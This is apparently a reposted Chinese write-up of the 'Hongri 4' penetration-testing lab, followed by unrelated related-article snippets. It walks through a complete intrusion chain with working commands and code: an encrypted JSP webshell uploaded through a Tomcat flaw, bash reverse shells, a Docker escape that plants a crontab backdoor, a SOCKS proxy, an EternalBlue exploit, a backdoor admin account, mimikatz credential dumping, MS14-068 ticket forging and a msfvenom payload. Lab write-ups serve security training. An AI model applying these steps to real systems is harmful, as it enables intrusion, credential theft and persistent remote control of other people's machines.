红日靶场 4

靶场配置

image

733 x 668899 x 819

image

733 x 6161466 x 1232

image

733 x 6261449 x 1237

image

733 x 6301450 x 1247

IP 地址分配:

Win7:
192.168.183.133(内网)

Ubuntu:
192.168.183.134(内网)
192.168.120.137(外网)

DC:
192.168.183.130(内网)

Kali:
192.168.120.128(外网)

ubuntu 上可以启动一下 docker

docker start ec 17 09 bb da 3d ab ad

拓扑如下:

​​​

image

733 x 3861867 x 982

​​​

打点 ×3

拿 fscan 都能扫出来,然后拿工具直接打就行了

image

733 x 3671721 x 861

Tomcat

这个就利用最简单的写木马即可了

einzbernnn/Tomcatscan: Tomcat 漏洞批量检测工具 (github.com)

然后修改 poc/cve_2017_12615.py 里面的 body 成冰蝎就可以了:

body = '''<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>'''

image

733 x 4342171 x 1286

image

733 x 2021651 x 456

拿着这个 jsp 地址直接连接就可以了

image

733 x 4681954 x 1247

Struct2

image

733 x 5161662 x 1171

也可以直接弹 shell​->bash -c "bash -i >& /dev/tcp/192.168.120.1/4444 0>&1"

image

733 x 1572522 x 539

phpMyadmin

版本是 4.8.1:

image

733 x 4022485 x 1363

有个任意文件读取的洞

要利用的话首先要把利用的 php 语句执行一下查询,让他记录在 session 中

image

733 x 3862495 x 1313

再利用包含读取 session 文件即可,/index.php?target=db_sql.php%253f/../../../../../../tmp/sess_a4d1a8108774d843aef5e34e7043568a

image

733 x 4452282 x 1385

这里是可以执行 phpinfo 的,但是无法执行 system 或者其他 getshell 语句,挺奇怪的

三个点都是 docker 搭建的,所以就是看哪个点可以执行 docker 逃逸

Docker 逃逸

经过 CDK 检测,只有 Tomcat 的那个点可以进行 docker 逃逸

image

733 x 3541917 x 926

但是这里只能对文件进行操作

所以我们就写计划任务了,这里好像是远程机器的 ssh 开启 Public 那个选项,可以写公钥,这里还是利用计划任务演示吧

fdisk -l 看一下可挂载的磁盘

image

733 x 2301369 x 430

mkdir /qingfeng 以 qingfeng 文件夹作为挂载的文件夹

/qingfing: mount /dev/sda1 /qingfeng

写反弹 shell 脚本

echo '#!/bin/bash' > /qingfeng/tmp/qingfeng.sh

echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.120.1/9090 0>&1"  >> /qingfeng/tmp/qingfeng.sh

image

再写个计划任务:

sed -i '$a*/2 *   * * *   root  bash /tmp/qingfeng.sh ' /test/etc/crontab

cat /qingfeng/etc/crontab

​​

image

733 x 2601451 x 515

​​

之后监听 9090 等两分钟即可吃到 shell

image

733 x 1701308 x 303

内网渗透

首先就是直接上 fscan 开扫了,先看一下网段

image

733 x 3671652 x 827

能扫到两个 ms17010,但是只有 win7 的能够打通

image

733 x 3851936 x 1017

接下来就是配置代理去打 ms17010 了

代理配置

上传 frpc 以及 frpc.ini 到攻破的 web 服务器下

frpc.ini 的配置如下:

[common]
server_addr = 192.168.120.1
server_port = 7000
token = frpToken@admin2022


[proxy]
type = tcp
plugin = socks5
remote_port = 25599

接下来就是开启 frps 了,frps.ini 的配置如下:

[common]
## 一、服务器的基本配置部分
## 7000 是FRP服务端口,可以改
bind_port = 7000
## dashboard_user和dashboard_pwd是FRP网页版管理员用户名密码,可以改。
dashboard_user = admin
dashboard_pwd = frpadmin@2022
## 7500 是网页版管理端口:可以通过 http://服务器ip:7500登陆
dashboard_port = 25500
## 服务器和客户机之间的心跳连接
heartbeat_timeout = 30
#token设置,需要和客户端一致,客户端与服务端通过token进行认证,建议满足复杂度要求
token=frpToken@admin2022

先在本机运行 ./frps -c frps.ini

image

733 x 641729 x 151

再在 web 服务器运行 ./frpc -c frpc.ini​即可

image

733 x 681917 x 177

当出现 listen port 以及 success 说明连接成功

image

733 x 1161696 x 268

kali 打 ms17010

启动 msf:msfconsole

因为这里就挂了一个端口代理,所以用正向的攻击方式简单点,不然还得再配置一个代理

use exploit/windows/smb/ms17_010_eternalblue #使用ms17010模块
set payload windows/x64/meterpreter/bind_tcp #设置正向连接
set rhosts 192.168.183.133 # 设置win7的ip地址为目标地址

image

733 x 3552204 x 1066

配置好直接 run 即可:

​​

image

733 x 8361092 x 1245

​​

所以下一步的目标就是攻破域控了

内网横向

为了方便我这里直接添加用户上桌面了:

net user qingfeng qwer1234! /add
net localgroup administrators qingfeng /add
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

配置都是老掉牙了,不熟悉可以看看前面的红日打靶:

image

733 x 4331809 x 1068

image

733 x 3101195 x 506

上桌面后传一个 mimikatz 抓密码,你也可以直接使用 msf 的 kiwi

meterpreter > kiwi_cmd sekurlsa::logonpasswords

Authentication Id : 0 ; 444103 (00000000:0006c6c7)
Session           : Interactive from 1
User Name         : douser
Domain            : DEMO
Logon Server      : WIN-ENS2VR5TR3N
Logon Time        : 2023/12/27 21:10:03
SID               : S-1-5-21-979886063-1111900045-1414766810-1107
        msv :
         [00010000] CredentialKeys
         * NTLM     : bc23b0b4d5bf5ff42bc61fb62e13886e
         * SHA1     : c48096437367aad00ac2dc70552051cd84912a55
         [00000003] Primary
         * Username : douser
         * Domain   : DEMO
         * NTLM     : bc23b0b4d5bf5ff42bc61fb62e13886e
         * SHA1     : c48096437367aad00ac2dc70552051cd84912a55
        tspkg :
        wdigest :
         * Username : douser
         * Domain   : DEMO
         * Password : Dotest123
        kerberos :
         * Username : douser
         * Domain   : DEMO.COM
         * Password : (null)
        ssp :
        credman :

这里抓到了用户的 SID,可以尝试使用 MS14-068 打一下了,如果域控没装 KB3011780 的话就可以拿下


可能用得到的工具下载地址:

Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

PSexec 下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe

mimikatz 下载地址:https://github.com/gentilkiwi/mimikatz/releases


首先需要生成票据:

MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

image

733 x 5611139 x 871

桌面会生成一个票据

下一步利用 mimikatz.exe(记得管理员权限)将证书写入,可以提升为域管理员:

kerberos::ptc TGT_douser@DEMO.COM.ccache

image

733 x 291815 x 323

接着使用 PsExec64 横向:

PsExec64.exe \\WIN-ENS2VR5TR3N cmd.exe

这个计算机名字是 fscan 的时候扫出来的:

image

733 x 3711998 x 1012

然后运行即可拿到域控的 shell:

使用 ipconfig 命令可以看到已经是域控的 IP 了

image

661 x 682

域控上线

其实到这也算打靶结束,但是这里给自己下一个题,如何再上线呢?

我这里的思路就是通过 certutil 命令下载木马到域控,再通过一层端口转发到我们的 kali,把木马流量转发到我们的 kali 即可上线成功

首先在 ubuntu 上写入 frps.msf 文件:

[common]
bind_port = 7001
token=frpToken@admin2022

image

733 x 348937 x 445

接着配置 kali 使用 frpc.msf:

[common]
server_addr = 192.168.120.137 # ubuntu的外网地址
server_port = 7001
token = frpToken@admin2022

[proxy]
type = tcp
local_ip = 192.168.120.128 # kali地址
local_port = 9999
remote_port = 9999

若是这样跑起来则是把 192.168.120.137 的 9999 端口流量转发到 kali 的 9999 端口

所以生成木马也是选择 ubuntu 的地址作为木马地址:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.183.134 LPORT=9999 -f exe > dc.exe

192.168.183.134 是 ubuntu 的内网地址

msf 监听等待回连

use exploit/multi/handler
set lport 9999
set lhost 192.168.120.128
set payload windows/x64/meterpreter/reverse_tcp

然后通过 win7 让 dc 下载木马程序:

image

733 x 2961727 x 697

这里的 web 服务你可以使用 HFS 也可以直接跑 python,只要能让域控访问到就行

其实这里可以直接放到 ubuntu 的 web 目录下直接让 dc 访问也可以,当时做的时候传 HFS 方便点

下载完后运行 dc.exe 即可上线 MSF

image

733 x 7641105 x 1152

跑个 ipconfig 证明一手:

image

733 x 7531104 x 1134

至此红日 4 成功完成

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/301528.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

springboot+ipage分页频繁请求会报错 自动添加多一个limit

com.mysql.jdbc.exceptions.jdbc4.MySQLSyntaxErrorException: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near LIMIT 500 at line 3 这个原因是因为springboot配置mysql的连接池太…

Xshell连接Ubuntu失败

错误&#xff1a; Xshell连接Ubuntu失败。 Connecting to 192.168.xx.xxx:22…Could not connect to 192.168.xx.xxx’ (port 22): Connection failed. 解决方案&#xff1a;边解决&#xff0c;边测试Xshell是否可以连接 1、SSH 服务未启动&#xff1a; 确保 Ubuntu 上的 S…

多线程执行后台任务,提供效率

场景&#xff1a; 大批量复制物料描述到新的物料上&#xff0c;多线程同时执行已提高效率 REPORT zmm316. INCLUDE zmm316_top. INCLUDE zmm316_f01. *----------------------------------------------------------------------- I N I T I A L I Z A T I O N *------------…

【STM32】STM32学习笔记-USART串口外设(26)

00. 目录 文章目录 00. 目录01. 串口简介02. 串口协议03. USART简介04. USART框图05. USART基本结构06. 数据帧07. 起始位侦测08. 数据采样09. 波特率发生器10. 附录 01. 串口简介 串口通讯(Serial Communication)是一种设备间非常常用的串行通讯方式&#xff0c;因为它简单便…

Redis内存策略:「过期Key删除策略」+ 「内存淘汰策略」

Redis之所以性能强&#xff0c;最主要的原因就是基于内存存储&#xff0c;然而单节点的Redis其内存大小不宜过大&#xff0c;否则会影响持久化或主从同步的性能。 Redis内存满了&#xff0c;会发生什么&#xff1f; 在Redis的运行内存达到了某个阈值&#xff0c;就会触发内存…

java基础之set集合练习(HashSet,LinkedHashSet,TreeSet)

1&#xff1a;完成以下填空&#xff1a; Collection 接口的特点是 存放list与set共性内容 没有直接实现类 没有明确的存储特点要求 ; 2&#xff1a;List 接口的特点是元素 有 &#xff08;有|无&#xff09;顺序&#xff0c; 可 &#xff08;可以|不可以&#…

九、HTML头部<head>

一、HTML头部<head> 1、<title>- 定义了HTML文档的标题 使用 <title> 标签定义HTML文档的标题 <!DOCTYPE html> <html><head><meta charset"utf-8"><title>我的 HTML 的第一页</title> </head><b…

MySQL8.0安装(Linux - centos)

我是南城余&#xff01;阿里云开发者平台专家博士证书获得者&#xff01; 欢迎关注我的博客&#xff01;一同成长&#xff01; 一名从事运维开发的worker&#xff0c;记录分享学习。 专注于AI&#xff0c;运维开发&#xff0c;windows Linux 系统领域的分享&#xff01; 其他…

STM32F103GPIO工作模式及原理

目录 GPIO简介GPIO工作模式输入模式输出模式输出速度 GPIO框图和电路解析电路标识电路元件 GPIO工作模式电路解析浮空输入上拉输入下拉输入模拟输入开漏输出推挽输出推挽式复用功能开漏式复用功能 IO工作模式的选取输入模式输出模式 GPIO简介 GPIO&#xff0c;全称为通用输入输…

isaacgym(legged_gym)学习 (二)—— 设置环境地形

isaacgym(legged_gym)学习 &#xff08;二&#xff09;—— 设置环境地形 文章目录 isaacgym(legged_gym)学习 &#xff08;二&#xff09;—— 设置环境地形前言一、了解isaacgym中地形如何构成的二、自定义修改1.代码2.查看script/play.py 总结 前言 如何设置isaacgym中的环…

CISSP 第9章:安全脆弱性、威胁和对策

第九章 安全脆弱性、威胁和对策 9.1 评估和缓解安全脆弱性 9.1 硬件 处理器 执行类型 多任务处理&#xff1a; 同时处理两个或更多任务 多处理&#xff1a; 利用多个处理器完成一个应用程序的处理能力 多程序设计&#xff1a;通过操作系统对单个处理器上的两个任务进行协调&…

NPS 内网穿透安装

NPS 内网穿透安装 NPS分为服务端和客户端&#xff0c;对应的不同操作系统软件可以在GitHub RELEASES自行选择下载。 服务端搭建 由于个人非企业级使用&#xff0c;为了方便直接使用docker安装 1.docker运行 (注意需要提前下载conf文件&#xff0c;或者将镜像中文件copy出来…

.net 开源混淆器 ConfuserEx

官网&#xff1a;ConfuserEx 下载地址&#xff1a;Releases yck1509/ConfuserEx GitHub 使用参考&#xff1a;https://www.cnblogs.com/zhangzhi19861216/p/3937434.html

我是在一片骂声中成长起来的!!

曾几何&#xff0c;我的技术真的很烂&#xff0c;烂到技术主管每次都是点名要Review我的业务代码。 曾几何&#xff0c;我对技术沉淀没有一点自我意识&#xff0c;总是觉得临时抱一下佛脚就可以了。 曾几何&#xff0c;我也觉得技术无用&#xff0c;看看那些业务领导&#xf…

第5章 保护资产安全

5.1 对信息和资产进行识别和分类 数据安全生命周期管理是指数据保护始于数据被首次创建时&#xff0c;一直持续到该数据被销毁时。 实现生命周期保护的第一步是对信息和资产进行识别和分类。 组织常将分类定义纳入安全策略中。然后&#xff0c;人员根据安全策略要求适当地标记…

小黑迈出了应用开发第一步,通过武沛奇老师b站django入门课程了解了django,准备学习前端基础:django入门沛奇老师课程笔记

课程来源: https://www.bilibili.com/video/BV1NL41157ph/?p71&spm_id_from333.880.my_history.page.click 课程链接与学习资料推荐 django入门课程 https://www.bilibili.com/video/BV1NL41157ph/?p71&spm_id_from333.880.my_history.page.click django入门项目…

c语言-库函数qsort()初识

目录 前言一、qsort()的介绍及使用1.1 qsort()的介绍1.2 qsort()的使用1.2.1 使用qsort|()对整型数组按照升序排序1.2.2 使用qsort()对整型数组按照降序排序1.2.3 使用qsort()对结构体数组数据进行排序 二、利用冒泡排序模拟实现对任何数据进行排序2.1 冒泡排序2.2 模仿qsort()…

BurpSuite信息收集篇

BurpSuite信息收集篇 1.填充目标站点地图2.使用 Burp Suite 自动发现内容3.使用 Burp Suite 枚举子域1.填充目标站点地图 演示站点 ginandjuice.shop 1、抓取目标的请求包 2、在不关闭浏览器的情况下,转到目标>站点地图。请注意,已自动添加一个节点来表示目标域 3、右键…

【EasyExcel】导出excel冻结表头和冻结指定列并支持筛选器

需求背景&#xff1a; 导出excel的同时冻结表头和前两列基础信息&#xff0c;方便导出后用户查看信息。 一、技术选型&#xff1a; easyExcel的自定义写策略处理&#xff1a;SheetWriteHandler 二、方案设计&#xff1a;&#xff08;基于实现 SheetWriteHandler 接口&#xf…

RabbitMQ(九)死信队列

目录 一、简介1.1 定义1.2 何时进入死信队列&#xff1f;1.3 死信消息的变化1.4 死信队列的应用场景1.5 死信消息的生命周期 二、代码实现2.1 死信队列的配置步骤2.2 配置类2.3 配置文件2.4 生产者2.5 业务消费者2.6 死信消费者2.7 测试结果 三、总结 RabbitMQ 是流行的开源消息…
最新文章